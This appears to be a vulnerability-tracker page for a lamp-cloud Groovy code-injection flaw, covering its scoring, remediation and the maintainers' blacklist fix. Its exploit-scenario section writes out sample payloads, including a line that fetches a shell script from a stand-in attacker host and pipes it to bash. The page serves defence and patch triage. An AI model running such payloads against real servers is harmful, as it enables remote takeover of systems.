Skip to main content

lamp-cloud CVE-2026-69100

| EUVDEUVD-2026-52741 HIGH
Code Injection (CWE-94)
2026-08-04 VulnCheck GHSA-g2rg-5634-4c27
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege lamp-cloud credentials
  2. Delivery
    Access message template management API endpoint
  3. Exploit
    Inject malicious Groovy payload into script template field
  4. Execution
    GlueFactory compiles payload via unrestricted GroovyClassLoader
  5. Impact
    Arbitrary OS commands execute as backend Java process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid lamp-cloud account with at least low-privilege access (PR:L per CVSS 4.0 vector) to the message template management endpoints that can write to or influence the Groovy script database field processed by GlueFactory. The attack is network-reachable (AV:N) with no additional configuration or target-specific prerequisites beyond a default lamp-cloud installation. Limiting factors: (1) an authenticated session is mandatory - anonymous or unauthenticated exploitation is not indicated by available data; (2) the authenticated user must have application-level permission to create or modify message templates, which may be scoped to specific roles (the exact role boundary is not specified in available data and should be verified with the vendor); (3) the vulnerable code path is specifically in the message/notification template processing pipeline - deployments that have disabled or restricted this feature may have reduced exposure, though this is not confirmed as a supported configuration. No special non-default configuration is required to be vulnerable: the unsandboxed execution was the default behavior in all versions through 5.6.2.

Impact

The CVSS 4.0 base score of 8.7 with vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N accurately reflects the core risk profile: network-reachable, low complexity, no special attack requirements, but gated behind low-privilege authentication. The PR:L requirement is the primary limiting factor - unauthenticated exploitation is not indicated by the available data, meaning anonymous internet exposure is lower than a PR:N flaw of equal severity. However, the presence of a publicly available exploit (GitHub issue #408, referenced by VulnCheck and cveorg) substantially compresses the attacker skill requirement for any session holder. No CISA KEV listing is present at time of analysis, suggesting exploitation has not yet been confirmed as widespread, though the low complexity and public PoC make opportunistic exploitation plausible for any attacker who can obtain low-privilege credentials. Full VC:H/VI:H/VA:H impact means successful exploitation yields complete server compromise. SC:N/SI:N/SA:N constrains impact to the vulnerable system itself with no automatic lateral scope change, though post-exploitation pivoting is possible through OS command access. The overall signal is: high real-world priority for any organization running lamp-cloud with low-privileged user populations, but less urgent than a PR:N equivalent.

Exploit ScenarioDerived

An attacker with a low-privilege lamp-cloud account navigates to the message template management endpoint and saves a Groovy script field containing a payload such as 'curl http://attacker.com/shell.sh | bash'.execute() or ['bash','-c','id > /tmp/pwned'].execute(). When GlueFactory is invoked to process the template, it compiles and runs the payload via GroovyClassLoader with no restrictions, executing OS commands as the backend Java process user. A publicly available exploit exists via GitHub issue #408, reducing the expertise required for any credentialed attacker to weaponize this path.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 04, 2026

Remote code execution in LAMP Rapid Development Platform (dromara lamp-cloud) through version 5.6.2 allows low-privileged authenticated attackers to inject arbitrary Groovy code into message template script fields processed by the GlueFactory component, resulting in OS command execution on the backend server with the privileges of the Java process. The GlueFactory compiled and ran these scripts via GroovyClassLoader with no sandboxing, AST restrictions, or class whitelisting in place. A publicly available exploit exists via GitHub issue #408, and CVSS 4.0 rates this 8.7 with full confidentiality, integrity, and availability impact on the vulnerable system.

RemediationAI

Apply the upstream fix at commit 84b0c27d3693e468c2c690d9fbc8ea9c22cd34e3 (https://github.com/dromara/lamp-cloud/commit/84b0c27d3693e468c2c690d9fbc8ea9c22cd34e3), which introduces multi-layer Groovy script safety validation including a dangerous token blacklist, regex-based dangerous call pattern detection, and string-literal stripping to reduce bypass surface. A specifically tagged patched release version has not been independently confirmed - verify with the upstream dromara project (https://github.com/dromara/lamp-cloud) whether a release after 5.6.2 incorporates this commit before deploying. As an interim compensating control, restrict access to the message template management endpoints to the smallest possible set of trusted administrative users via application-level role controls or network ACLs, directly reducing the pool of principals who can inject into the script field. Note that the fix itself uses a blacklist approach, which the commit's own comments acknowledge has inherent bypass risks for dynamic Groovy - this should be treated as a strong mitigation layer rather than an absolute sandbox boundary, and a defense-in-depth posture (process isolation, least-privilege OS user for the Java process, egress filtering) is advisable even post-patch.

Affected VersionsENISA

lamp-cloud patch: 84b0c27d3693e468c2c690d9fbc8ea9c22cd34e3
lamp-cloud 0 ≤5.6.2

Affected Packages

euvd lamp_cloud no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is rooted in GlueFactory.java (lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/glue/GlueFactory.java) within the dromara lamp-cloud platform (CPE: cpe:2.3:a:dromara:lamp-cloud:*:*:*:*:*:*:*:*). The component exists to support dynamic message templating - Groovy scripts are persisted in database template fields, then loaded and compiled at runtime via Apache Groovy's GroovyClassLoader. CWE-94 (Improper Control of Generation of Code) is the root cause: user-controllable script content was passed directly to GroovyClassLoader.parseClass() without any sanitization, compilation-time restrictions, SecureASTCustomizer configuration, or runtime sandbox. The commit diff for fix 84b0c27 reveals the maintainers explicitly noted that SecureASTCustomizer.setDisallowedReceiversClasses was ineffective against dynamic Groovy due to Meta-Object Protocol dispatch, and instead implemented a multi-layer source-level defense: a DANGEROUS_TOKENS blacklist (blocking Runtime, ProcessBuilder, File I/O classes, reflection APIs, ClassLoader variants, GroovyShell, System.exit, sockets, and serialization), DANGEROUS_CALL_PATTERNS regex matching (covering .execute(), .exec(), .forName(), @ASTTest, @Grab, and string-interpolated dynamic references), and a stripStringLiterals() preprocessor to prevent false positives. The attack surface is the message template management API endpoints that write to the script database field.

Know when Lamp Cloud gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable via template API (AV:N, AC:L), low-privilege session required (PR:L), no scope change as impact is confined to the vulnerable server process (S:U).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

LAMP Rapid Development Platform through 5.6.2, fixed in commit 84b0c27, contains a remote code execution vulnerability in GlueFactory that executes unsandboxed Groovy scripts from database template fields without compilation restrictions or whitelisting. Attackers can write or influence the script field via message template endpoints to execute arbitrary Groovy code and OS commands on the backend server.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

LAMP Rapid Development Platform (lamp-cloud) through version 5.6.2 contains a high-severity remote code execution vulnerability with publicly available exploit code, exploitable by authenticated users with low-privilege credentials. Attackers can inject malicious code into message templates to execute arbitrary OS commands with the privileges of the Java process, fully compromising affected systems' confidentiality, integrity, and availability.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 57% exploitable
Prevalence
Low
niche Java rapid development framework, limited enterprise footprint outside Asia
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy